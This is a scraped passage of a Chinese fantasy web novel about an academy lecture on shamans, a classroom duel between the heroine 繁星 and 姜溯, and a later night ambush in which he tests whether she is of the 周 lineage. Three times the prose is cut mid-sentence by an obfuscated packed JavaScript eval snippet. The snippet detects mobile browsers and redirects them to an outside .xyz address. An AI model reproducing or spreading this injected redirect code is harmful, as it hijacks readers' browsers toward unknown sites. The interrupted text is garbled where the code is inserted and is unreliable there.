繁星还认出,刚刚进门时,这人透过窗户跟她对视了一眼。 收回目光,繁星点评了一句:“他长得不错。” 什么! 宁凤游瞪大眼:“见有容圣子你都没这么说。” “他的耳饰很特别。而且我更喜欢这种长相。”繁星语气很平淡。 在她看来,有容圣子之美,不分雄雌,是五官排列组合所能达到的极致。但这种美太盛了,并不是繁星所能欣赏的协调。 相反,这个叫姜溯的,剑眉星目,眼尾上挑,五官精致而周正,兼具了少年的清爽与成熟男子的俊逸,恰属于中间值,合了繁星的审美。 宁凤游感觉稀罕,又偷偷打量了几眼,见这人困倦地眯眼,开始趴桌上睡觉了。撅撅嘴,实在欣赏不起来。 她承认这位半圣子长得是不错,可再不错也只是半圣子而不是圣子。 宁凤游所能欣赏的美丽必须要有光环的加持,不然就会大打折扣。 说话间,陆续有人进来,当天芒的钟声响了三下,所有人噤声。 云野进教室授课了。 她满意地看着底下的学生对她露出敬仰的目光。 本来么,丁院的课当然不是她上的,宫主理论上只负责甲院,以及一些特殊的课程。 可这班上有几个学生很特殊,跟说好了似的扎堆往丁院跑,云野又偏偏对这几个学生很感兴趣。 哪里有乐子,哪里就有云野。云野的兴趣,自然就是她的乐子之一。 于是开学调课前,云野大笔一挥,将原本给丁院授课的掌师划掉,写上自己的名字。 “尾宫丁院第一堂通识课,”云野开口了,“我们来说,巫与幻师。” 繁星给宁凤游传音,“这似乎是基础史实?” 宁凤游说:“丁院的固定课程了。因为被分进丁院的学生可能没有接受过系统的通识教育,其他院就没这种课。” 繁星点点头,对排行最末的丁院有了直观的感受。 “能沟通天地神灵者为巫。那么,巫的出现,显然是离不开神的。先有神,后有人和巫。至于后两个哪个先出现,暂且不清楚。” 只这一句,就让繁星挑起眉。该说不愧是宫主授课,哪怕是最基础的通识,也能出现一些新东西。 有胆大的学生问,“宫主,最开始的神,是说三国的兽神吗?” 云野看向那个学生,慈爱地说:“那可远了去了,不是一个时代啊。” 于是云野顺势说起了兽神,“大灾变后,异兽横行,五行逆乱,以周为首的上古神族出世,救世人于水火。后周人祈天,虚界降临,四位兽神以一国疆土契约,为世人降下庇护,代价是世人提供信仰。神国由此建立,幻兽时代开启。” “此后,普通人也能通过机缘契约幻兽,成为幻师,拥有自保的能力。与之相比,巫的门槛就太高了,传承不是所有人都可以修习,传播也限制在特定的族群,于是逐渐没落下去。” “当世,纯巫已经越来越少,几乎成为过去。”说到这里,云野几乎用上了喟叹的语调。 可惜丁院的学生不懂她的感叹,反而说:“宫主,既然巫的传承门槛如此高,逐渐被幻师取代不是理所当然吗?” 云野看向那个学生,不再嬉笑之后,云野自带一股威严。 她并不恼怒,反而平和地说:“那如果我告诉你,巫的力量来源于天地,天地不灭,巫便可以生生不息。而幻师的力量依托于幻兽。当有一天,兽神不再响应信徒,虚界大门关闭,世上再无幻兽,你还觉得,巫没了是理所当然吗?” 随着云野的每一声质问,那个学生的脸也越来越白。他难以展望云野描绘的“当有一天”,只知道,如果那天真的到来,末日灾难也不过如此。 院外的银杏风雨不动,院内的学生心神巨动。 再没有人质疑巫存在的必要性了。 看着所有学生将脸绷起来,云野反而轻飘飘地将话题一转,“我们丁院有纯粹的巫吗?” 无人回应。 云野屈指一弹,一道气弹打到右侧靠窗边坐着的少年身上,他半张脸埋在肘弯里,睡得不省人事,“你来说说。” 姜溯定了一下,缓缓直起身,脸上还带着睡觉的压痕,大约是没睡醒,眼神看着有些呆。 云野微笑看他,似在等待回答。 半晌,姜溯说:“我——” 云野眨眨眼。 “我就是纯巫。”脸上带着睡痕的少年指指自己,面无表情。 云野笑了,抚掌,“厉害,厉害。” “难得你是纯巫,觉也睡得香,不错,去外面吹吹风,醒醒脑子。” 教室的弟子屏息凝神,眼神却疯狂传递。外面原本是小雨,如今,正有转大的趋势…… 少年抿了一下唇,站起身,听话出去了。 不多时,窗外闪过他行走的侧影,走到离自己座位靠近的窗边,抱胸转身。黑色劲衣,一截马尾微微晃动。 窗边杵着一尊淋雨的门神,云野神色如常,继续上课。 “上古四神族,说起来也是巫,至于为什么叫神族,我也不知道——史籍上就是这么记载的。传闻,可能是这四族祖上出过神人,又或者,他们根本就是神明后代,也说不准。” “唯有一点可以确认,这四族确实掌握真正的神术。” “周就不说了,曾经的第一神国,没有神国,周也是四神族之首,所承星术,天下无双。” “外头罚站那个,姜之阵符,厉害是厉害,就是现在没什么人学了,唯一学的,上课还要睡觉……” “鲁之咒文,极致暴力,信奉力量就是一切。那一国的人都是武战士,不要随意招惹,容易被揍。” “氐之医毒,治病和杀人他们都干。现在没事还研究蛊,属于巫毒分支,精髓是让你死都不知道怎么死的,所以去了霖国,看见有漂亮的小虫小花,管住手,别捏别采。” 云野上课,带着她强烈的个人风格。明明说得都是正经的东西,从她嘴里说出来,却像听故事。让你听完只想笑,笑完惊觉,脑子里竟然塞了知识! 整齐的笑声中,有弟子大着胆子问了一句:“宫主,现在还有周人吗?” 那么厉害的神族神国,说没就没吗? 笑声渐息,其他人都把耳朵竖起来。 云野神色不变,“我也不知道啊,现在三国都在找周人,我们圣院也在找。你要是看见周人,可以帮我问问,愿不愿意来圣院,包吃包住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017392|161402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 于是大家又笑了。 繁星也在笑,嘴角是一个微妙上扬的弧度。她扫了眼窗外,雨确实大了…… 通识课结束,下午还要连上一节实战课。 宁凤游说这很奇怪,往常实战课不会连着通识课一起上,丁院的实战也不会安排这么早。 繁星说:“可能是今年特别吧。” “哪里特别?”宁凤游想说,不会又是咱们三人那个啥特别吧。 繁星:“往年有第五宫散落在各院的殿下们吗?” 宁凤游恍悟,还真被说服了,“是哦。” 云野上课,情绪是很饱满的,但这饱满,只能持续一节课。 实战课的时候,她从储物幻器中掏出一个摇椅,放在满地落叶的杏林外,一屁股坐了上去。宫主威严,在摇椅的一摇一晃中,眼看着就要分崩离析了。 云野像没感觉到,自顾自结了个结界挡雨,说:“实战课,你们一对一比试,自行上场挑选对手。赢者加一分,输者扣一分。丁院的学生基础分十分,扣完自动离院。” 自动离院这等血淋淋的话,就这么被云野轻描淡写说出来了。 原本神情松弛、还有心情扣识玉的学生脸一僵,互相看到彼此见了鬼的表情。 有学生数了下人头,发现一个惊悚事实,“宫主,咱们院人头不够一对一分啊,还多出来一个。” 云野笑了,慈爱地说:“多出来的那个,自动做输者扣一分。谁叫你不积极上场呢,这一分就扣在消极比试吧。” 云野对于学生们的比试,原则上是不加干涉的,但对于第一个上台比试的学生,却很有发言的欲望。 她瞄向还站在窗边罚站的姜溯,笑着招手。 “姜溯,你第一个上。” 姜溯在外面站了好几刻钟,鬓发早被打湿了,湿漉漉地贴在脸上。他神情倒不见桀骜,就是明显站烦了,听见云野喊他,抬起一双眸子,面无表情地抹了把脸,迈步走到银杏林中间的空地上。 宁凤游小声对繁星嘀咕:“这人看着傲,又不太傲的样子。” 像是刺头,又不那么刺。宫主叫他做什么,他就做什么。 繁星却说正常,“傲或许是本性,不那么傲源于圣院的规矩。在课堂上对宫主不敬,宫主就有理由将他逐出圣院。他但凡想在圣院呆着,有天大的脾气也得压住。这一点,就算是神国殿下来了也一样。” 说话间,姜溯已经等了有一会儿,竟无一人愿意上前与他比试。 “为什么没人上?”繁星不解。 “好歹是姜家半圣子呢,换算一下就是纪灵焰的一半厉害,这谁敢上啊,输了就要扣分。” 十分的基础分哪够这么花销?宁凤游摇摇头,是一点没有上去的意向。 繁星垂眸,忽然问一句:“你刚才说什么?” “啊,半圣子?”宁凤游没理解,却还是及时回答了繁星。 “不是这个。” “那……纪灵焰的一半厉害?” 繁星颔首,没说什么,却迎着别人惊异的目光,走到姜溯对面。 抽刀出鞘。 宁凤游张大嘴。云野一个鲤鱼打挺从摇椅上坐直身体。 “好好好。”云野连说三个好字,眸光精硕,“姜溯的对手来了!” “好孩子,你介绍一下自己。”她对着繁星,就陡然换了个语气。 繁星抬起小臂,执刀横于身前,弯刀映出一双清泠明锐的眼。 “繁星。” 顿了顿,又补充一句。 “我也是纯巫。” 11.圣女冠(十一) “我也是纯巫。” “好!”云野积极喝彩,“我们丁院统共就两个纯巫,都在这了,这么难得的机会,所有人给我认真看!” 姜溯与繁星对视。他对这个人有印象,上课前,她乘着白鹭,雪白的羽毛,金色的杏林,从天而降…… 云野一只手高高举起,一个猛子压下,所以人脑中响起尖利的哨声,“开始!” 话音刚落,繁星的身影如残影般消失,转瞬出现在姜溯面前。 “铛!”繁星倾身,刀锋下压,一道红色的阵图瞬间旋开,挡住了这一击。 姜溯单手撑着阵印,微微弓腰,褐色眼瞳紧盯着泛着寒光的刀刃……只差一点,这刀就能将他的头颅一分为二。 “哎,打架别走神啊!”云野疑惑的声音响起。 这一下是有些惊险。 云野一是没想到繁星这么快,二是没想到姜家这小子这么楞。不过幸好,他回神后反应倒很及时,不然这一下就要脑瓜开瓢了。 姜溯抿唇,红色阵纹光芒大盛,一下子将繁星弹开。 “附灵。”繁星神情不变,指尖并拢,顺着被弹开的空隙单手快速结了一印。天空似有注视投来,弯刀金芒一闪,再次压下。 “铛!” 这次力道比之前更盛,姜溯撑阵,腰弯成了一个可怕的弧度。 宁凤游眼花缭乱地看着。她不敢面对的对手,却在几个呼吸间被繁星打成这样。 耳畔是其他弟子评判的私语,与宁凤游的心情如出一辙。 “天,她施术一印就成啊?还是单手?” “太快了,从她一开始出手,到附灵那一下,我都没看清……” “姜家半圣子开头走神,不过后来也反应过来了,他好像也是单手印。” “姜溯是不是要输了?” 宁凤游脑子里塞满了“只结一印”“单手印”,下意识捏着花环,忍不住问:“祖宗,你什么时候也能让我这么风光?” 藤花祖宗带花的那端搭在宁凤游肩膀上,正支着鬼脸,聚精会神看战场,抽不出一点功夫来搭理她。 因为战况又出现了反转。 繁星本占上风,但是姜家半圣子也不是吃素的。他左右手似乎都可以结印,被繁星压制时,右手辛苦撑着阵,左手背在后面,还能分心写符。 “迅雷。” 竖横勾勒,符成瞬发。一道人粗的疾雷从空中直劈而下,正对繁星。 繁星抬眸看天,眼中金芒一闪,迅雷移速变慢,轨迹清晰可见。繁星抬刀,选择迎雷而上。 姜溯趁隙急退,阵纹收起,快速在空中写符,用的还是左手。 “雷火。” 字成,红光一闪,分成六道。与此同时,繁星脚下升起一道六芒大阵,红符对应六芒,像锁链,要将繁星牢牢锁在阵中。 符、阵、雷——局势眨眼逆转。 繁星仍在迎雷,足有成人粗壮的疾雷被刀锋一劈为二,一部分接引入地,一部分被刀身吸纳,被迫改变方向。 黑瞳追击逃离的背影,手腕一旋,弯刀顺势旋出,犹带雷霆之力。 姜溯刚刚使出六芒大阵、雷火疾符,本来是敌人分身乏术,自己逃离的最佳时机,后背却忽而寒芒竖起。 姜溯在千钧一发中扭身一躲,余光瞥见弯刀旋转向前——躲开了!他忍不住看向对手的位置,雷火锁链快要形成,一旦闭合,她就输了。 她会是什么表情……姜溯捕捉繁星的神态,发现她也在看自己。黑瞳幽深而专注,像某种凶狠的野兽,即将给猎物致命一击。 姜溯头皮发麻,警报瞬间拉响。他当机立断,直接双手施印,要加速锁链闭合。下一秒,繁星动了。 几乎没人看清繁星是怎么出手的,她刚刚还被困在阵中,眨眼就出现在姜溯面前。 姜溯保持着结印的手势,惊愕与她对视。于此同时,后方大阵轰然并拢,里面雷火轰鸣。 繁星面无表情,一脚朝着姜溯胸口踹下,旋出的弯刀在繁星到来时瞬间转了个方向。 繁星坚定地握住刀柄,垂直刺下。 姜溯只感到天旋地转,他看到了天空,悠扬飘散的银杏叶子,闪着寒光直直向下的刀尖,以及,繁星平静的眼。 她古朴的铜铃耳饰在时空翻转中叮铃作响,流苏扫过清晰的下颚。 这一刻,姜溯甚至想不起用阵。 刀尖距离姜溯眉心三寸停住。繁星扭手将刀回鞘,换成空拳,对着姜溯怔楞的眼神,一拳砸下…… 今日本就有风,打斗带起的风旋,将许多杏叶卷上了天,写意唯美。 一切都是繁星的背景。 风停的时候,繁星走回宁凤游身边。 宁凤游微微张着嘴,本来有无数问题想问,话到嘴边,变成:“繁、繁星,你不是说他长得好吗?” 这样对胃口的小白脸,怎么还怼着脸打……这下可好,打花了。 宁凤游语出惊人,繁星却很淡定。 她道:“脸看看就行了,也不能当饭吃。” 两人的对话没有避讳外人,所有人都听到了,包括仍然躺在地下,小臂遮眼,陷入某种复杂情绪的姜溯。 荒诞的对话将众人拉回现实,仿佛直到现在,才对刚才瞬息万变的战斗有了实感。 “谁、谁赢了?” “你瞎吗?半圣子还躺地下呢,估计被打懵了吧。” “她是谁啊,真的是我们丁院的弟子吗?” “你没看之前第五宫考核吗,繁星,就是第五宫分进我们院的殿下啊。第一次测评就拿了太虚大人钦定的全天级评价,那个大荒圣女!” ……大荒圣女……大荒圣女。 有人将这四个字绕在舌尖品咂,莫名品出一种复杂的意味。最后深深叹息一声,再无后话。 “好!”唯一情绪饱满,不见惊容的,唯有云野。 她激情鼓掌,摇椅都不坐了,而是站了起来,“尾宫丁院实战课第一场比试——繁星胜!基础分加一分!” 众人听到这个加一分,心中不觉羡慕,反而升起一种古怪——打这么激烈才加一分?这分是真不好拿啊。对比起来,他们不加,乃至扣分,感觉也不算太冤枉了。 听到宣判声,姜溯单腿屈膝坐起,他隔着人群看了繁星一眼,仿佛要就此记住她。 繁星感应到目光,平淡地看回去。 这场比试在识玉上掀起了范围不小的讨论。一开始是有丁院的弟子将留影石录像发到了识玉上,跟着又被一名房宫乙院的弟子转载,帖子可见范围变成全院。 极其罕见的纯巫对决,又涉及第五宫圣女和神族后人,本来关注度就不小,最后房宫主的亲身回复,更是将热度推向高/潮。 怀瑾握瑜:这无疑是一场精彩的对决,两位巫对各自巫术的使用都十分娴熟,达到了大巫的水准。关于圣女殿下最终如何逃离阵符锁定,我倾向于,她用了一种时空瞬移的巫术。施术前提要有轨道标记,因此才有了最后弯刀那一掷。总之,这是一场质量上乘的比试,值得诸位反复观摩学习。 宁凤游看见这回复的第一反应:“天啦,繁星,房宫主在帖子里喊你圣女殿下哎!” “圣女殿下、圣女殿下……”她将这四个字含在嘴中反复品味,忍不住憧憬地双手合十,“我也想有天被宫主当众喊殿下!” 繁星疑惑,“之前考核时,宫主不就喊过你殿下了吗?” 宁凤游:“那不一样!” 繁星不太懂这到底是哪儿不一样。不过经过这段时间的相处,她对宁凤游已经有了基础的了解。脑中常常充斥着奇思妙想,繁星想象不来,大约知道是个色彩缤纷的世界。 点点头,手捏着识玉,翻书一样,自然地做自己的事。 宁凤游也不需要繁星的理解。她自己在那儿将房主的回复欣赏了三遍,偶尔代入自己,陷入了美好的憧憬。 流程走完,她才开始关注正事,“繁星,房主说,你和姜溯的巫术有大巫的水准,大巫是比巫更高一层吗?我怎么听说巫上面是祝啊?” 繁星说:“大巫并不是明确的段位,而是一种尊称。一般有两种含义,巫族中承担教习工作的长者,他们可能修为并不高,但有极高的声望,因此尊为大巫。另一种情况就是单纯称赞某人的巫术精湛纯熟,达到了可以为师的程度,也能叫大巫。” 繁星说话,清平细致,宁凤游边听边点头,最后说:“我懂了,就是繁星你那天用的巫术,水平已经厉害到可以为师的程度。” 最终她感叹总结:“繁星,这下你是彻底出名了。” 繁星抬眸:“有纪灵焰出名吗?” 宁凤游卡住。她认真看了繁星几眼,见她水银一样澄明的眼瞳里写满了认真。 有时候宁凤游都奇怪,繁星对纪灵焰莫名的执着是从哪儿来,明明神国殿下跟她们不在一个世界不是吗?最终宁凤游将这解释为繁星的一种自我追逐。 她竖起一根手指,比到繁星跟前,声音清脆:“这是繁星。” 两只手的手指都竖起来,形成两个巴掌,“这是纪灵焰。” “纪灵焰有神国名气打底,还有兽神做后盾,繁星想追逐,大约要有这么远的距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023480|161402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”胳膊比了一段距离。 宁凤游没觉得繁星不切实际。梦想还是要有的,万一实现了呢? 到时候说出去,她就是拳打纪灵焰,脚踢鲁擒虎的圣女大人的……好朋友。哈哈,多拉风! 繁星看了下这一根指头到十根指头的距离,认真点头。 圆形弦窗映出两个女孩美好的侧影,窗外竹影丛丛,正是好时光。 - 姜溯回到自己的宿舍。 没有外人,姜溯对着墙写了一个水镜符,面无表情照了照自己的脸。 右眼靠下,右颊靠上的位置,有一块明显的青紫,周围的皮肤已经肿了,连带着眼睛的形状都有些变形。不说毁容,总之与俊朗帅气不搭边。 姜溯默默看了一会儿,拿出一个玉瓶,透明散着药香的膏体往青紫的地方抹。涂药的时候,识玉闪动。 姜溯眼神瞥过去,识玉缓缓浮现字体。 姜珏:“……哥,没事吧?” “有事就说。”姜溯继续抹药,语气冷淡。识玉接收灵气,自动将他的话录入,转播给对面。 对面很快也开始说话,是一道女声,语气带着小心:“那个,我听说,你和一个大荒里出来的小部族圣女打架,不小心……输了,还伤了脸。” 小部族圣女……姜溯嘴角一抽,跟着讽刺地笑了笑,涂好的玉瓶随手扔床上,他开口:“没有不小心。” 输了就是输了,没有什么不好承认的。 “啊?那肯定是因为哥你没用全力!”姜珏说得肯定。在她心中,她哥就是无所不能的。 姜溯沉着眼没说话。他没用全力,那个大荒圣女就用全力了? 提到繁星,姜溯脑中就自发地叮铃一声。古铜铃铛形状的耳饰,漫天的杏叶,以及,她凝视自己,像猎手凝视猎物的眼神。 鼻腔中呼出一口气,姜溯直挺挺地躺到床上,目视天花板,“你还有什么事?” 语气已经不耐烦了。 “等下等下……那个,疑似有周圣女之冠现世的消息,圣女近日驻扎在周边境,集结了一部分人马,要往里探索。”姜珏赶紧将正经事捡着说了。 姜溯面无表情,好像此时此刻已经没什么事能让他动容了。 他平平地交代:“周边境的迷雾敌视三国,纪灵焰要探索,就得拿人命去填。叫姜家别沾这事儿……至于圣女冠?跟咱们有什么关系。” 这种传说里的东西,纪灵焰这个蠢货指不定又被人当了靶子。 掐灭识玉,侧躺着,目光投向窗外,有银盘一样的月升起,月光冷静清和。 姜溯脑中再次出现一些令人烦躁的画面。他唇拉成一条线,紧紧闭上眼。 深夜,月亮来到树梢的位置,姜溯倏地醒来,翻身坐起。 食指与中指并拢一夹,一道火红的燃烧符出现在他指尖。姜溯盯着这道燃烧符看了一会儿,将腕一抖,松开手,燃烧符自行在空中燃烧,凝成一句话。 “试探大荒圣女繁星,疑似周人。” 符尾有火羽的标志,是纪灵焰的敕令。纪国圣女敕令一出,纪国人必须听命响应。 姜溯的眉头夹得死紧,直接拿出一个纪国特制通讯玉石,以灵力催动,播了过去。 那头一接通,是纪灵焰冷淡的腔调,“何事?” 姜溯开口就是拒绝,语气也好不到哪去:“做不了。殿下另请高就吧!” “你今日白天与她课堂比试,被她打伤脸,正好有理由出手试探。”纪灵一语道破,显然人不在圣院,也对圣院的动静了如指掌。 “我姜溯什么时候心胸狭隘到脸被划一下就要报复回去的程度了?”姜溯冷嘲。 “不论你是不是,你都要是。这是本殿的命令!” 即便隔着通讯石,也能想象到纪灵焰抬着下巴命令别人的表情。神火会映亮她的瞳,无论身处何时何地,她仿佛永远都在高处,用俯视的姿态看人。 “姜溯,你姜家可以逃避周边境查探任务,但你,就得执行命令补救。是去周边境还是试探一个可疑的周人,你自己选!” 红色玉石咔嚓一声破碎。所有声音霎时平息,屋内安静得可怕。 月亮悄悄溜进来,铺亮了地板,有一抹搭在床位。姜溯坐在床中心,头低垂着,神色晦暗不明,一只拳头紧握,玉石粉末无声洒下。 子时,圣院塔楼钟声敲响。 圣院敬畏天时,以子时作为一日之始,必要鸣钟,警示学生珍稀辰时。 钟声嗡鸣不息,敲钟人打了个呵欠,没看到一道黑影于塔楼尖顶借力掠过,直奔半山而去。 12.圣女冠(十二) 姜溯脑中回忆起纪灵焰发给她的信息。 疑似周人的大荒圣女,入院学号为一零一,因为是暂定第五宫,前头没有别宫的编码,看起来十分简洁。 简洁就意味着好记好找,况且第五宫殿下们,连宿舍都比旁宫精致,皆是独门独院,立在圣院气候最宜人的半山腰,这更方便了姜溯行事。 穿着夜行衣,姜溯蹲在一颗粗壮的古木枝杈上,大半个身体都隐在树影中,整个面部皆蒙住,唯露出一双眼睛,正谨慎地望着不远处警戒的夜鸮。 这是圣院驯养的幻兽,与用来代步的白鹭一般,数量极多。不同的是,白鹭性温和,亲人,夜鸮就要凶得多。 它们是属于夜晚的战士,尖利的喙能凿穿精铁,更别提一双利爪。 圣院大量驯养这些夜鸮,充当学院的警备力量,光是第五宫宿舍,就放了上百只。 它们又是风属幻兽,能捕捉空气中细微的流动变化,半山腰这上百只夜鸮,将第五宫宿舍织成了一张严密的警戒网。 不说万无一失,可一旦有风吹草动,上百只夜鸮,绝对能拖住敌人,足够更高一层的掌师宫主前来救援。 姜溯隐在东南角,一眼扫到三十多只夜鸮,巨大的眼珠在夜里闪着荧光,并且时刻转动。 这诡异森然的架势叫人无法不慎重。姜溯屏息,开始缓慢写符。 并不是传统的隐匿符,那不足以逃脱上百只风属夜鸮的追踪。而是一种更高阶的隐匿巫术,涉及时空之法。 简单来说,就是用符将周围的空间封禁,以达到一种绝对隐匿状态。 这也是纪灵焰将这种活儿派给他的原因,姜氏年轻一代,能掌握这种几乎迈入高阶巫术门槛的人,唯有他姜溯。 清瘦的黑衣人面罩下蒙着的嘴角,讽刺地勾了勾,不知是嘲讽自己,还是嘲讽纪灵焰。 符成,姜溯所藏身的古树枝杈,晃动的叶片忽然停了。即便轻微,气流的变化也引起了夜鸮的注意,一刹那,至少有三对亮着灯的竖瞳扫过这个方位。 在夜鸮优越的夜间视野中,古木寂静地晃着树影,有虫鸣和鸟叫,一切如常。但仍警惕地瞪着大眼盯了一会儿,没有任何动静,才将脑袋翻转到对面。 藏在隐匿空间中的姜溯松一口气,悄无声息跃至屋顶上,在一片相同结构和颜色的瓦片中寻找繁星宿舍的位置。 根据推算,一零一舍馆的位置应该在正东方。姜溯的目光下意识往东方探去,却猛然一顿。 巨大的圆月像一只无瞳之眼,它冰冷的注视,映出一个清寂的人影。抱着胸,斜倚在翘起的飞檐中,半张侧脸,修长的颈。素白的袍像流水,随意卷慢垂坠,在冷月的映衬下晃出白澄澄的影子。 这场景实在诡异又突兀,可姜溯还是一眼认出,那就是他今晚的任务目标,疑似周人的大荒圣女,繁星! 当意识到这点,姜溯几乎本能屏息,同时瞪大了眼睛——他禁不住去细看那位圣女,带着十足的探究精神。 她的双目是闭合的。这显得奇怪。 打一照见,姜溯对于大荒圣女为何半夜宿在屋顶,是有所想象的。说白了就是,修星术的人都爱观星,夜晚是他们修行的最佳时机。 可如今双眸闭起,这星还怎么观呢? 姜溯又想,或许她是在小憩。 可这个猜测很快又被姜溯自己给否了,因那位圣女并无松弛的气质。 月映出她的身形线条,白袍垂坠,轻纱摇曳,分明是柔美至极的场景,可姜溯心中却只余慎重。 也许是圣女微抬的下颚昭见了傲骨,也许是她环卫的双臂展现了防备,总之,大荒圣女给人的感觉是不容轻慢的。仿佛于她面前,任何时刻,都该全心对待、全力以赴。 姜溯看着看着,没有察觉到大荒圣女不知从何时起睁开了眼睛,转动头颅,朝他的方向投去冷冽的注视。 姜溯的脊背瞬间僵硬,几乎本能做了一个掐符的动作——隐匿符法并未失效,姜溯不确定大荒圣女是否看见他了。 这问题在下一秒有了答案,因为大荒圣女的视线并未移开。她就那么平平地注视他,深潭一样的瞳,叫人摸不清深浅。 姜溯僵硬着与繁星对视,身体开始倾斜,仿佛某种僵持,倏地,指尖夹着的符字亮了——他要跑! 同一时刻,繁星动了。她注视姜溯的眼眸微闪,下一瞬,出现在姜溯近前。 这空间并不大,一人还可自由活动,两人跻身,瞬间就拥挤起来。姜溯与繁星面对面,几乎能看清她面部所有的细节。 她的瞳极深,细看会有眩晕之感。她气质极静,照面的一刹那,她应该就明白他的目标是冲着自己,神情却不见波动。 这怪异的氛围叫姜溯毛骨悚然,下意识想掐符用阵,繁星比他更快。 在姜溯企图结印的时候,繁星的术式已成,“止息。” 姜溯保持着手势,眸光出现一抹愕然。他感到一种神异的力量包裹住了符文结界,竟然没有破碎,而是帮助他遮蔽了所有气机。 繁星注视姜溯,平静地说:“你若聪明,就该息了动静。” 姜溯动作骤停。他警惕地看着繁星,僵持一会儿,手势未变,却不再沟通天地。 “跟我走。” 姜溯明白她的意思——圣院的夜鸮实在尽职,晚上又精神——屋顶当真不是个适合打斗的好场地。 两人保持着微妙的对峙,却同时往隐蔽的、守卫更少的山脚撤离。 - 山脚的夜鸮,分布密度降低,尤其是没有建筑的密林,会有足够长的时间,无法被夜鸮照看到。 繁星的脚刚一落地,立即挥刀,那黑衣人一愣,下意识用阵格挡。繁星看见这眼熟的红色阵纹,眼眸一眯,反手掀了他的面罩。 “果然是你,半圣子姜溯。你是冲我来的。”繁星语气平淡,不带疑问,只是肯定。 姜溯面上一空,却没有去管掀开的面罩——打斗起来,巫术招数是藏不住的——他大大方方承认了,抬手一张符瞬发,从符中抽出一柄符剑,与繁星的刀猛烈对拼在一起。 “殿下白天给我打成这样,还不许我来寻仇吗?”吊儿郎当的语气,听起来倒也干净。 月色下,姜溯右眼的伤疤清晰可见,已经明显肿了,似乎有力证明了他这次行动具有充分的动机。 繁星并不言语,指尖并拢在弯刀上拂过,随着手指移动,弯刀逐渐亮起。姜溯知道,这是附灵。 星的注视下,这位圣女几乎浑身都在发亮。 繁星附灵过的刀再次劈来时,姜溯仍用剑格挡,这次虎口的位置传来剧烈的震感,腰受力往下弯了三寸。 着实惊人的力道! 若不是知道她用了巫术,姜溯几乎要以为,与自己对战的是位鲁人。 隔着刀剑,姜溯看到大荒圣女清丽冷静的面孔,她挥刀的速度越来越快,每一次的进攻都直冲姜溯的要害,刀刀都是绝杀之招。 姜溯不得不为剑加持好几张速力之符,才能勉强应对。 “殿下何以不说话?!”姜溯故意激她,以期能找回战斗的节奏。 繁星瞥了一眼姜溯,终于开口了,“你不是来寻仇的?如此,我只好全力以赴了,免得被你破了面相。” 姜溯生生从这股淡漠的腔调中听出了嘲讽的味道——他找的借口,确实拙劣到不加掩饰,可繁星偏偏不戳穿,反而顺着他的话说下去,于是,承受这种拙劣与敷衍的人,就成了姜溯自己。 并且,她还故意提面相! 面相! 姜溯感到右眼的伤口又在隐隐作痛,几乎在繁星平淡的话语中升起真实的恼怒来。 ——一个人的嘲讽怎能如此平静?或者说,一个人能怎能用如此平静的腔调充分表达出嘲讽的意味! 姜溯很想质问繁星,可惜他此时已经无暇分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027197|161402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心说话了。 繁星,这位大荒圣女,她游刃有余。她一边说话,一边还能加快攻势。 月色下,她的每一次举刀都像巨兽在亮出獠牙;她每次扫过姜溯的眼神,都带着必取对方性命的决心;她只用原始的刀法,却刀刀致命;她奉行一力降十会,进攻就是最好的防守,轻易化解了姜溯的阵符攻击,给了他巨大的压力! 姜溯在这种极致拼杀中忽然明白了,为何在圣院弟子中,“大荒圣女”的名气,要高于“繁星”这个本名。 她原始、蛮横、凶残。与此同时,她还富于冷静,极善观察,敌手的任何弱点与破绽都会被她捕捉。 她是只有大荒这种每刻都在与天搏命的恶地才能养出的杀手。 她的战斗信仰血与力。 这样的人,怎能不是大荒圣女! 姜溯几乎忘我了,几乎忍不住全力以赴。就在他沉浸其中的时候,繁星却出人意料地开口说话了。 “是纪国派来你试探我的?” 石破天惊的一句。 姜溯手握的符剑忽然抖了一下,就这一下,被繁星抓住,瞬间削去剑尖,刀继续向前,擦过姜溯的眼睛。 姜溯躲过这惊险的一下,心几乎跳停——他是真的要骂人了! 在他试图用语言搅乱对方注意的时候沉默不语,在他沉浸战斗的时候冷不丁开口说话。 他真是…… 繁星果然继续说了下去,她的声音像清泉,是冷淡简平的语调,姜溯却隐约听出了戏弄的意味。 “你半夜隐匿来到半山宿院,看见我,不回避,反而有意观察。你是冲我来的。” 姜溯给自己身上连贴三个护身符,心说这不是废话。 “你分明知道寻仇的理由很拙劣,却还是用了,你无心掩饰,无心费脑子想更完满更能说服我的理由。” 姜溯漫不经心地想,理由理由,有了就行。我还得费心说服你,纪灵焰有那么大本事吗? 